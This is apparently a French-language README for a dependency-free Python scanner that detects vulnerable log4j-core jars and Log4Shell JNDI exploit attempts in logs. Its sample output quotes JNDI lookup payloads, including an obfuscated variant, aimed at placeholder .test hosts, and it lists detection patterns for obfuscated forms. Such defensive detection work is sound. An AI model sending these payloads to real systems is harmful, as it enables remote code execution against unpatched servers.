
Scanner léger qui détecte les versions vulnérables de Log4j et les indicateurs Log4Shell (CVE-2021-44228) dans une arborescence du système de fichiers.
Un scanner défensif et sans dépendances pour Log4Shell — détecte les jars log4j-core vulnérables et les motifs d'exploitation JNDI dans les logs et la configuration.
Lors de ma rotation CERT-In, j'ai travaillé sur l'identification des menaces, le confinement, la remédiation et la chasse aux menaces — exactement le flux de travail exigé par Log4Shell (CVE-2021-44228) à grande échelle en décembre 2021 : trouver chaque artefact log4j-core vulnérable dans une flotte, et fouiller les logs pour les tentatives d'exploitation ${jndi:...}. Ce scanner reconstruit ce flux de travail défensif dans un seul script Python portable utilisant uniquement la bibliothèque standard, qui ne nécessite rien d'installé sur la machine qu'il inspecte.
.jar / .war / .ear.pom.propertiesMANIFEST.MFzipfile${jndi:ldap:// et les obfuscations courantes (${${lower:j}ndi:…}, j}ndi: avec accolade, ${::-j}).JndiLookup.class, plus conseils de surveillance des flux sortants.log4j-core-2.14.1.jar vulnérable (vrai zip contenant un pom.properties de log4j-core), un 2.17.1.jar corrigé, un jar non lié, et un log avec des charges utiles JNDI.--demo construit et analyse l'arbre d'exemples de bout en bout.os, re, zipfile). Aucune dépendance.Python 3 (uniquement bibliothèque standard : argparse, os, re, zipfile).
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version # Python 3.8+
# no dependencies to install
Lancez la démo sur l'arbre d'exemples intégré :
python log4shell_scan.py --demo
Sortie attendue (abrégée) :
--- Archives (log4j-core detection) ---
[ok] .../commons-lang3-3.12.0.jar
version: unknown (via no log4j-core detected)
[VULNERABLE] .../log4j-core-2.14.1.jar
version: 2.14.1 (via pom.properties (...))
!! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
!! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
!! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
[ok] .../log4j-core-2.17.1.jar
version: 2.17.1 (via pom.properties (...))
--- Exploit-pattern matches (JNDI payloads in text/logs) ---
[MATCH] .../access.log (2 hit(s))
L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
--- Summary ---
Vulnerable archives: 1
Files with JNDI patterns: 1
Analysez tout répertoire que vous êtes autorisé à évaluer :
python log4shell_scan.py /path/to/deployed/app
Le code de sortie du processus est 1 si quelque chose de vulnérable ou suspect est trouvé, 0 si tout est propre — pratique pour les CI/pipeline gating.
Reconstruisez l'arbre d'exemples à tout moment :
python log4shell_scan.py --build-samples
log4shell-scanner/
├── log4shell_scan.py # scanner + sample-tree builder + CLI
├── samples/
│ └── app/
│ ├── libs/
│ │ ├── log4j-core-2.14.1.jar # fake VULNERABLE jar (real zip)
│ │ ├── log4j-core-2.17.1.jar # patched jar
│ │ └── commons-lang3-3.12.0.jar # unrelated jar
│ ├── logs/
│ │ └── access.log # contains JNDI payloads
│ └── config.properties # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore
Pour usage éducatif, défensif et autorisé uniquement. Exécutez-le seulement contre des systèmes et artefacts que vous avez la permission d'évaluer. Le scanner lit et recherche des motifs uniquement — il n'exécute ni n'exploite jamais rien. Les jars d'exemples intégrés sont des placeholders fabriqués, pas de véritables artefacts Apache, et tous les noms d'hôtes des charges utiles utilisent des noms .test non routables. Les correspondances version-à-CVE sont fournies pour orientation ; vérifiez-les auprès des avis de sécurité officiels CVE et Apache Log4j.